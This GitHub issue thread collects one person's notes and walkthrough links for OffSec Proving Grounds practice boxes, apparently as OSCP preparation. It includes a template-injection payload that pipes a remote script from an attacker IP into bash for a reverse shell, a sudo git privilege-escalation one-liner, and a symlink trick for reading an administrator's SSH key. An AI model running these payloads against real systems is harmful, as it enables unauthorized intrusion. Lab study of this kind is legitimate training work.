WDavid404 / PG-Box

PG box workthough note
0 stars 0 forks source link

Good articles #48

Open WDavid404 opened 3 months ago

WDavid404 commented 3 months ago

Reconstruction (Linux, 2020)

WDavid404 commented 3 months ago

Rookie Mistake (Linux, 2022)

https://al1z4deh.medium.com/proving-grounds-rookie-mistake-b74eca98edf1 https://medium.com/@Dpsypher/proving-grounds-practice-rookie-mistake-79e474449af3

--> so we can try to run reverse shell command {{ config.__class__.from_envvar.__globals__.import_string('os').popen('curl 192.168.45.160/rev.sh | bash').read() }} and make the malicious rev.sh

Refer: SSTI (https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)

image

WDavid404 commented 3 months ago

Roquefort (Linux, 2020)

WDavid404 commented 3 months ago

Scarlet (Linux, 2022)

WDavid404 commented 3 months ago

Scrutiny (Linux, 2024)

https://medium.com/@4HM7H3X/oscp-prep-pg-practice-walkthrough-scrutiny-839baf7f8077

TeamCity version 2023.05.4 is vulnerable to an Authentication Bypass vulnerability (CVE-2024–27198) After creating a new user we find an id_rsa key belonging to another user within the site. We convert the key into its hash crack it and establish a connection. Upon checking emails we discover the password of another user. Using this password found on the desktop of the obtained user we escalate privileges using systemctl image image

WDavid404 commented 3 months ago

Serialrunning (Linux, 2024)

WDavid404 commented 3 months ago

Shiftdel (Linux, 2021)

https://medium.com/@ardian.danny/oscp-practice-series-40-proving-grounds-shiftdel-abf4803b1bfd

WDavid404 commented 3 months ago

The following boxes are very simple ...

Snookums (Linux, 2020)

https://medium.com/@0xrave/snookums-proving-ground-practice-walkthrough-0a8937c6aa2f

Sona (Linux, 2021)

https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-sona-f6797b9cc935

sorcerer (Linux, 2020)

https://medium.com/@jserna4510/sorcerer-pg-walkthrough-6e9c403f4896

WDavid404 commented 3 months ago

Source (Linux, 2022)

WDavid404 commented 3 months ago

Spaghetti (Linux, 2021)

https://al1z4deh.medium.com/proving-grounds-spaghetti-4ba123427b54

keypoints: IRC (6667)

WDavid404 commented 3 months ago

Splodge (Linux, 2020)

https://medium.com/@0xrave/splodge-proving-grounds-practice-walkthrough-2f30156e4b97

WDavid404 commented 3 months ago

Surf (Linux, 2021)

WDavid404 commented 3 months ago

Sybaris (Linux, 2021)

https://medium.com/@vivek-kumar/offensive-security-proving-grounds-walk-through-sybaris-491b23545014

WDavid404 commented 3 months ago

Symboli (Windows, 2022)

https://medium.com/@ardian.danny/oscp-practice-series-30-proving-grounds-symbolic-2afdae158ea5

Key points:

finally --> Use CreateSymlink.exe tool

To do this without administrator rights, we need to create a Mount Point such that C:\xampp\htdocs\ points to \RPC Control\ object directory. We then create a Symlink such that \RPC Control\logs points to \?\C:\Users\Administrator.ssh\id_rsa.

We can do this by using [symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools/releases/download/v1.0/Release.7z), a tool for testing various symbolic link types of Windows. We need to save the 7zip file to our Kali machine and the unzip it.

image

WDavid404 commented 3 months ago

UC404 (Linux, 2020)

https://kashz.gitbook.io/proving-grounds-writeups/pg-boxes/uc404

http://192.168.136.109/under_construction/web.php

--> we will have shell


- [PE] sudo -l --> /usr/bin/git  --> https://gtfobins.github.io/gtfobins/git/#sudo

TF=$(mktemp -d) ln -s /bin/sh "$TF/git-x" sudo git "--exec-path=$TF" x

WDavid404 commented 3 months ago

Validator (Linux, 2023)

https://medium.com/@joemcfarland/hack-the-box-validation-writeup-de4372269cdf

WDavid404 commented 3 months ago

Vanity (Linux, 2022)

https://al1z4deh.medium.com/proving-grounds-vanity-ce128d6e504

Copy the shared folders.

└─$ rsync -rdt rsync://192.168.54.234/source .


Found the system function is used in source code --> use this to do command injection.
![image](https://github.com/user-attachments/assets/445e3774-1338-4244-b476-fa1dff9ff416)
use reverse shell command (encoded)
![image](https://github.com/user-attachments/assets/a67926a3-4e5d-44b4-bbf1-cd707dae5bf5)
- [PE]
![image](https://github.com/user-attachments/assets/a8baefdd-f2b2-4735-9cc8-40efd4c0e443)
![image](https://github.com/user-attachments/assets/457919f0-f2e6-4182-8d33-105068c7b954)
We see that this setting can be abused to achieve RCE.
![image](https://github.com/user-attachments/assets/eb47899b-2b9b-4787-bdef-826bdebde976)
---> prepare our payload
![image](https://github.com/user-attachments/assets/9df78395-f583-474d-8822-7b737e856aa4)
WDavid404 commented 3 months ago

VoIP (Linux, 2021)

https://medium.com/@thetraphacker/proving-grounds-pg-voip-writeup-83d6da0f2874

💾 https://github.com/Pepelux/sippts 🐦 https://twitter.com/pepeluxx Press Ctrl+C to stop [✓] Target: 192.168.175.156:5060/UDP [=>] Request INVITE [<=] Response 180 Ringing [<=] Response 200 OK [=>] Request ACK ... waiting for BYE ... [<=] Received BYE [=>] Request 407 Proxy Authentication Required [<=] Received BYE [=>] Request 200 Ok Auth=Digest username="adm_sip", uri="sip:127.0.0.1:5060", password="074b62fb6c21b84e6b5846e6bb001f67", algorithm=MD5

| IP address | Port | Proto | Response |

| 192.168.175.156 | 5060 | UDP | Digest username="adm_sip", uri="sip:127.0.0.1:5060", password="074b62fb6c21b84e6b5846e6bb001f67", algorithm=MD5 |


- a tool called ‘sox’ --> decrypt raw data
`sox -t raw -r 8000 -v 4 -c 1 -e mu-law 2138.raw out.wav`
--> The resulting wav file is a recording of a call, where one says the following: "Your Password has been changed to Password1234 where P is capital"
WDavid404 commented 3 months ago

Walla (Linux, 2021)

https://z4c777.medium.com/walla-offsec-pg-practice-walkthrough-e97c036e778a

Not complicate

XposedAPI (Linux, 2021)

https://medium.com/@malwarejoe/xposedapi-offsec-proving-grounds-lab-write-up-3848be2c61d3

ZenPhoto (Linux, 2020)

https://medium.com/@thetraphacker/proving-grounds-pg-zenphoto-writeup-8cd8218d9b26

Zino (Linux, 2020)

https://medium.com/@thetraphacker/proving-grounds-pg-zenphoto-writeup-4b901dc45607

WDavid404 commented 2 months ago

Craft (Intermediate, Windows, 2021)

https://www.youtube.com/watch?v=0Am8mzOXTVk

Key points: